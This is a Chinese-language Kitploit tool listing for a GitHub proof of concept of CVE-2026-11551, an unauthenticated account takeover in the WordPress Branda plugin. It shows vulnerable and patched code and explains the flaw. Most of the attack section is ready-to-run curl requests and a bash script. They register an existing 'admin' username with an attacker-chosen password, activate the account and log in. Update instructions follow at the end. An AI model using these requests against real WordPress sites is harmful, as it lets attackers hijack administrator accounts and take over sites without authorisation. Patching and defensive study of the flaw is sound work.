Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2026-11551-PoC — Unauthenticated Privilege Escalation via Account Takeover | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-11551-poc
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubpolosss/by-poloss..-..cve-2026-11551-poc

By-Poloss..-..CVE-2026-11551-PoC

Unauthenticated Privilege Escalation via Account Takeover

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
12个月前尚未审核

CVE-2026-11551:Branda 插件 - 未授权权限提升(账户接管)

概述

  • CVE ID:CVE-2026-11551
  • CVSS 评分:9.8(严重)
  • 受影响版本:Branda – White Label & Branding <= 3.4.29
  • 修复版本:3.4.31
  • 发布时间:2026年6月19日

漏洞描述

WordPress 的 Branda 插件在 3.4.29 及之前的所有版本中存在通过账户接管实现权限提升的漏洞。原因在于该插件在更新用户密码前未能正确验证用户身份。这使得未经验证的攻击者能够更改任意用户(包括管理员)的密码,并借此访问其账户。

技术分析

漏洞代码位置

/inc/modules/login-screen/signup-password.php

根本原因

漏洞版本中的 pre_insert_user_data() 函数缺乏正确的验证:

root@kitploit:~
// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code...
    }
    // Missing: if ($update) return $data; <-- VULNERABILITY
    
    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        // Set the password from POST data
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

修复后的代码(3.4.31)

root@kitploit:~
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code with proper checks...
    }

    // FIX: Added check to prevent updating existing users
    if ( $update ) {
        return $data;
    }

    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

攻击向量

向量 1:多站点注册(主要)

  1. 攻击者访问 /wp-signup.php
  2. 使用现有管理员用户名(例如 "admin")进行注册
  3. 通过 password_1 参数设置自定义密码
  4. Branda 将密码存储在注册元数据中
  5. 激活后,密码会覆盖管理员现有的密码

向量 2:单站点注册

  1. 攻击者访问 /wp-login.php?action=register
  2. Branda 在表单中添加密码字段
  3. 攻击者使用现有用户名提交注册
  4. 如果激活完成,密码即被设置

概念验证(curl)

步骤 1:检查注册是否启用

root@kitploit:~
curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"

步骤 2:检查 WordPress 类型(多站点 vs 单站点)

root@kitploit:~
curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"

步骤 3:多站点 - 使用管理员用户名注册

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-signup.php" \
  -d "user_name=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "signup_for=blog"

步骤 4:单站点 - 注册

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php?action=register" \
  -d "user_login=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "wp-submit=Register"

步骤 5:激活(如果需要邮箱验证)

root@kitploit:~
# 从邮件中提取激活密钥并访问:
curl -s -k -c cookies.txt -b cookies.txt \
  "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"

步骤 6:验证 - 尝试登录

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php" \
  -d "log=admin" \
  -d "pwd=NewP@ssw0rd!" \
  -d "wp-submit=Log In" \
  -L | grep -i "dashboard\|wp-admin\|error"

自动化利用脚本

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"

echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."

# Multisite attack
curl -s -k -c /tmp/cookies.txt \
  -X POST "$TARGET/wp-signup.php" \
  -d "user_name=$USERNAME" \
  -d "[email protected]" \
  -d "password_1=$NEW_PASSWORD" \
  -d "password_2=$NEW_PASSWORD"

echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"

利用条件

  1. 已安装并激活 Branda 插件 <= 3.4.29 的 WordPress 站点
  2. 必须启用用户注册(检查 设置 > 常规 > 会员资格:任何人都可以注册)
  3. 成功接管账户:目标用户名必须已存在
  4. 多站点:需要能够访问激活邮件(或绕过激活)

修复方案

将 Branda 插件更新至 3.4.31 或更高版本:

root@kitploit:~
# 通过 WordPress 后台
仪表盘 > 插件 > Branda > 更新

# 通过 WP-CLI
wp plugin update branda-white-labeling

# 通过 SSH
wp plugin update branda-white-labeling --version=3.4.31

影响

  • 机密性:高 - 攻击者可获取任意用户账户
  • 完整性:高 - 攻击者可修改内容
  • 可用性:高 - 攻击者可锁定合法用户

参考资料

  • Wordfence Intelligence
  • WPScan
  • 插件 Trac

W.P.E.F

  • W.P.E.F Telegram 频道 #1
  • W.P.E.F Telegram 频道 #2
下载工具